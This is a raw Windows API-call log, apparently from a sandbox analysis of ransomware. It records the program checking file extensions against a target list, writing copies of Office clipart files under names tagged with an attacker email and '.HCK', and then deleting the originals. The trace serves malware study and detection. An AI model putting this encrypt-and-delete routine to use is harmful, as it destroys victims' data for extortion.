[0164.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.851] lstrlenW (lpString=".doc") returned 4 [0164.851] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.851] lstrlenW (lpString=".docx") returned 5 [0164.851] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0164.851] lstrlenW (lpString=".pdf") returned 4 [0164.851] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.851] lstrlenW (lpString=".xls") returned 4 [0164.851] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.851] lstrlenW (lpString=".xlsx") returned 5 [0164.851] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0164.851] lstrlenW (lpString=".ppt") returned 4 [0164.851] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.851] lstrlenW (lpString=".zip") returned 4 [0164.851] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.851] lstrlenW (lpString=".rar") returned 4 [0164.851] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.851] lstrlenW (lpString=".bz2") returned 4 [0164.851] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.851] lstrlenW (lpString=".7z") returned 3 [0164.851] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.851] lstrlenW (lpString=".dbf") returned 4 [0164.851] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.851] lstrlenW (lpString=".1cd") returned 4 [0164.851] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.851] lstrlenW (lpString=".jpg") returned 4 [0164.851] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.851] lstrlenW (lpString=".doc") returned 4 [0164.851] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.851] lstrlenW (lpString=".docx") returned 5 [0164.851] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0164.851] lstrlenW (lpString=".pdf") returned 4 [0164.851] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.851] lstrlenW (lpString=".xls") returned 4 [0164.851] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.851] lstrlenW (lpString=".xlsx") returned 5 [0164.851] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0164.851] lstrlenW (lpString=".ppt") returned 4 [0164.851] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.851] lstrlenW (lpString=".zip") returned 4 [0164.851] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.851] lstrlenW (lpString=".rar") returned 4 [0164.851] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.851] lstrlenW (lpString=".bz2") returned 4 [0164.852] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.852] lstrlenW (lpString=".7z") returned 3 [0164.852] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.852] lstrlenW (lpString=".dbf") returned 4 [0164.852] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.852] lstrlenW (lpString=".1cd") returned 4 [0164.852] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0164.852] lstrlenW (lpString=".jpg") returned 4 [0164.852] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.852] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0164.852] lstrlenW (lpString="J0099190.JPG") returned 12 [0164.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.852] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=43892) returned 1 [0164.852] CloseHandle (hObject=0x2e8) returned 1 [0164.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0164.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.853] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.853] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0164.853] GetLastError () returned 0x0 [0164.853] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xab74, lpOverlapped=0x0) returned 1 [0164.855] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xab80, lpOverlapped=0x0) returned 1 [0164.856] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.856] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0164.856] SetEndOfFile (hFile=0x388) returned 1 [0164.856] CloseHandle (hObject=0x388) returned 1 [0164.856] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.856] SetEndOfFile (hFile=0x2e8) returned 1 [0164.857] CloseHandle (hObject=0x2e8) returned 1 [0164.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0164.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.858] lstrlenW (lpString=".doc") returned 4 [0164.858] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.858] lstrlenW (lpString=".docx") returned 5 [0164.858] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0164.858] lstrlenW (lpString=".pdf") returned 4 [0164.858] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.858] lstrlenW (lpString=".xls") returned 4 [0164.858] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.858] lstrlenW (lpString=".xlsx") returned 5 [0164.858] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0164.858] lstrlenW (lpString=".ppt") returned 4 [0164.858] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.858] lstrlenW (lpString=".zip") returned 4 [0164.858] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.858] lstrlenW (lpString=".rar") returned 4 [0164.858] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.858] lstrlenW (lpString=".bz2") returned 4 [0164.858] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.858] lstrlenW (lpString=".7z") returned 3 [0164.858] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.858] lstrlenW (lpString=".dbf") returned 4 [0164.858] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.858] lstrlenW (lpString=".1cd") returned 4 [0164.858] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.858] lstrlenW (lpString=".jpg") returned 4 [0164.858] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.858] lstrlenW (lpString=".doc") returned 4 [0164.858] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.858] lstrlenW (lpString=".docx") returned 5 [0164.858] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0164.858] lstrlenW (lpString=".pdf") returned 4 [0164.858] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.858] lstrlenW (lpString=".xls") returned 4 [0164.859] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.859] lstrlenW (lpString=".xlsx") returned 5 [0164.859] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0164.859] lstrlenW (lpString=".ppt") returned 4 [0164.859] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.859] lstrlenW (lpString=".zip") returned 4 [0164.859] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.859] lstrlenW (lpString=".rar") returned 4 [0164.859] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.859] lstrlenW (lpString=".bz2") returned 4 [0164.859] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.859] lstrlenW (lpString=".7z") returned 3 [0164.859] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.859] lstrlenW (lpString=".dbf") returned 4 [0164.859] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.859] lstrlenW (lpString=".1cd") returned 4 [0164.859] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0164.859] lstrlenW (lpString=".jpg") returned 4 [0164.859] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.859] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0164.859] lstrlenW (lpString="J0099191.JPG") returned 12 [0164.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.859] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=62367) returned 1 [0164.859] CloseHandle (hObject=0x2e8) returned 1 [0164.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0164.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.860] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.860] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0164.860] GetLastError () returned 0x0 [0164.860] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xf39f, lpOverlapped=0x0) returned 1 [0164.862] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0164.863] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.863] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0164.863] SetEndOfFile (hFile=0x388) returned 1 [0164.864] CloseHandle (hObject=0x388) returned 1 [0164.864] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.864] SetEndOfFile (hFile=0x2e8) returned 1 [0164.865] CloseHandle (hObject=0x2e8) returned 1 [0164.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0164.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.865] lstrlenW (lpString=".doc") returned 4 [0164.865] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.865] lstrlenW (lpString=".docx") returned 5 [0164.865] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0164.865] lstrlenW (lpString=".pdf") returned 4 [0164.865] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.865] lstrlenW (lpString=".xls") returned 4 [0164.865] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.865] lstrlenW (lpString=".xlsx") returned 5 [0164.865] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0164.865] lstrlenW (lpString=".ppt") returned 4 [0164.865] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.866] lstrlenW (lpString=".zip") returned 4 [0164.866] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.866] lstrlenW (lpString=".rar") returned 4 [0164.866] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.866] lstrlenW (lpString=".bz2") returned 4 [0164.866] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.866] lstrlenW (lpString=".7z") returned 3 [0164.866] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.866] lstrlenW (lpString=".dbf") returned 4 [0164.866] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.866] lstrlenW (lpString=".1cd") returned 4 [0164.866] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.866] lstrlenW (lpString=".jpg") returned 4 [0164.866] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.866] lstrlenW (lpString=".doc") returned 4 [0164.866] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.866] lstrlenW (lpString=".docx") returned 5 [0164.866] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0164.866] lstrlenW (lpString=".pdf") returned 4 [0164.866] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.866] lstrlenW (lpString=".xls") returned 4 [0164.866] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.866] lstrlenW (lpString=".xlsx") returned 5 [0164.866] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0164.866] lstrlenW (lpString=".ppt") returned 4 [0164.866] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.866] lstrlenW (lpString=".zip") returned 4 [0164.866] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.866] lstrlenW (lpString=".rar") returned 4 [0164.866] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.866] lstrlenW (lpString=".bz2") returned 4 [0164.866] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.866] lstrlenW (lpString=".7z") returned 3 [0164.866] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.866] lstrlenW (lpString=".dbf") returned 4 [0164.866] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.866] lstrlenW (lpString=".1cd") returned 4 [0164.866] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0164.866] lstrlenW (lpString=".jpg") returned 4 [0164.866] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.866] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0164.867] lstrlenW (lpString="J0099192.GIF") returned 12 [0164.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.867] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=17964) returned 1 [0164.867] CloseHandle (hObject=0x2e8) returned 1 [0164.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0164.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.867] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.867] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0164.868] GetLastError () returned 0x0 [0164.868] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x462c, lpOverlapped=0x0) returned 1 [0164.869] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4630, lpOverlapped=0x0) returned 1 [0164.870] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.870] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0164.870] SetEndOfFile (hFile=0x388) returned 1 [0164.870] CloseHandle (hObject=0x388) returned 1 [0164.870] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.870] SetEndOfFile (hFile=0x2e8) returned 1 [0164.871] CloseHandle (hObject=0x2e8) returned 1 [0164.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0164.871] 